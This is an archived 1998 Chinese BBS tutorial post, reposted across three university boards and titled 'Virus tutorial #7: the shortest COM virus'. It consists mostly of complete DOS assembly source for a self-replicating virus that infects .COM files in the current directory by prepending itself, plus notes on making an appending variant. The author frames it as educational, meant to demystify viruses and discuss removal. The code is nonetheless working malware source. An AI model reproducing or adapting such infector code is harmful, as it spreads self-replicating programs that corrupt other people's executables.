Virus 版 (精华区)
发信人: OrangeGun (橘子枪), 信区: Virus
标 题: 病毒教程之七---一个最短小的COM病毒
发信站: 紫 丁 香 (Tue Jul 7 19:21:20 1998), 转信
发信人: bluesea (蓝海), 信区: Virus
标 题: 病毒教程之七---一个最短小的COM病毒
发信站: BBS 水木清华站 (Tue Jun 30 11:17:00 1998)
发信人: cynicism (文月), 信区: Virus
标 题: 病毒教程之七---一个最短小的COM病毒
发信站: 龙门客栈 (Thu May 14 19:13:47 1998), 转信
Comment~
这是一个最小的病毒程序
不驻留内存
每次执行的时候感染当前目录的COM文件
Macro:Pmain,Pend,Pushall,Popall见另外一个例子
这只是一个模拟病毒程序
在两个COM类型的病毒例子中我都采用感染在
前面的方法,然而真实的病毒大部分采用
附加在后面的办法
附加在后面有两种处理方式
一种是修改前三个字节直接JMP 到病毒程序
这样OFFSET都发生了变化
例如本来在病毒程序中的100H
可能变成1112H,等等
你的程序需要做如下改动:
把宿主程序的长度作为相对偏移放入BX中
每次访问数据采用这种形式mov ax,mybuf[BX]
当然第一次感染的时候BX为0
或者你可以采用段对齐的办法
修改宿主的前几个字节为
Mov ax,cs
Add ax,(SUZHULen+15)/16 -16
Push ax
Mov ax,100h
Push ax
Retf
这样你可以使得你的病毒程序入口依然保持在100H
但是既然只是演示病毒的编写方法,
我们的目的只是让大家认识病毒为何物,
取消对病毒的畏惧,并且讨论病毒的杀除办法
所以我的病毒例子并不计较太多的方法。
~
Include stdio.h
Include PushPop.asm
Pmain
db 0EBH,00 ;病毒感染标志,JMP 102
Mov ah,9
Mov Dx,Offset MSG
Int 21h ;发作部分,显示信息
Push SaveSize
Pop SaveSize_ ;保存上次保存的部分
Mov ah,1ah
Push cs
Pop ds
Mov Dx,Offset DTABUF
Int 21H ;设置DTA的指针
Mov ah,4eh
Mov Cx,4fh
Mov Dx,Offset FindName
Int 21h ;开始查找COM文件
NextFind:
JC SearchEnd
Mov Dx,Offset DTABUF+30
Mov ax,3d02h
Int 21h ;DTABUF+30为查找出的文件名存贮位置
JC SearchEnd_
Mov FileHandle,AX
Call Effect ;感染
SearchEnd_:
Push cs
Pop ds
Mov ah,4fh
Int 21h
JMP NEXTFIND
SearchEnd:
Mov ah,1ah
Push cs
Pop ds
Mov Dx,80h
Int 21h ;设回DTA的指针
Mov SI,SAVESIZE_
ADD SI,100h
Mov DI,100H ;把保存的宿主代码移动到100H
Push cs
Pop ds
Push cs
Pop es
Mov ax,100h
Push ax
CLD
Mov Cx,Offset EndFile-100H
Rep Movsb
Retn
Effect Proc Near ;病毒感染程序与另外一个例子类似
Pushall ;不再注释
Push cs
Pop ds
Mov BX,FileHandle
Mov CX,Offset EndFile-100H
Mov AX,9000H
Mov DS,AX
Mov Dx,0
Mov ah,3fh
Int 21h
Cmp Word Ptr DS:[0],00EBH
JNZ NotEFFECT
Mov ah,3eh
Mov Bx,cs:FileHandle
Int 21h
Popall
Ret
NOTEFFECT:
Push cs
Pop ds
Mov Bx,FileHandle
Mov ax,4202h
Mov Cx,0
Mov Dx,0
Int 21h
Mov SAVESIZE,AX
Mov Bx,FileHandle
Mov ah,40h
Mov Cx,Offset EndFile-100h
Mov Dx,0
Mov Bx,9000H
Mov DS,BX
Mov Bx,cs:FileHandle
Int 21h
Push cs
Pop ds
Mov AX,4200h
Mov Cx,0
Mov Dx,0
Mov BX,FileHandle
Int 21h
Mov ah,40h
Mov CX,Offset EndOfFile-100h
Mov DX,100h
Mov Bx,FileHandle
Int 21h
Mov ah,3eh
Mov Bx,FileHandle
Int 21h
Popall
Ret
Effect Endp
FindName db '*.COM',0
FileHandle dw 0
DTABUF db 80h dup (0)
SAVESIZE dw EndOfFile-100h
SaveSize_ dw 0
MSG db 'Hello,are you tire ?Good luck to you!',0dh,0ah,'$'
EndOfFile:
ENDFILE:
Mov ax,4c00h
Int 21h
Pend
--
※ 来源:.龙门客栈 bbs.szonline.net.[FROM: ppp150.hk.ha.cn]
--
m4m※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: 202.99.61.35]m
--
※ 来源:.紫 丁 香 bbs.hit.edu.cn.[FROM: cal.hit.edu.cn]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:3.566毫秒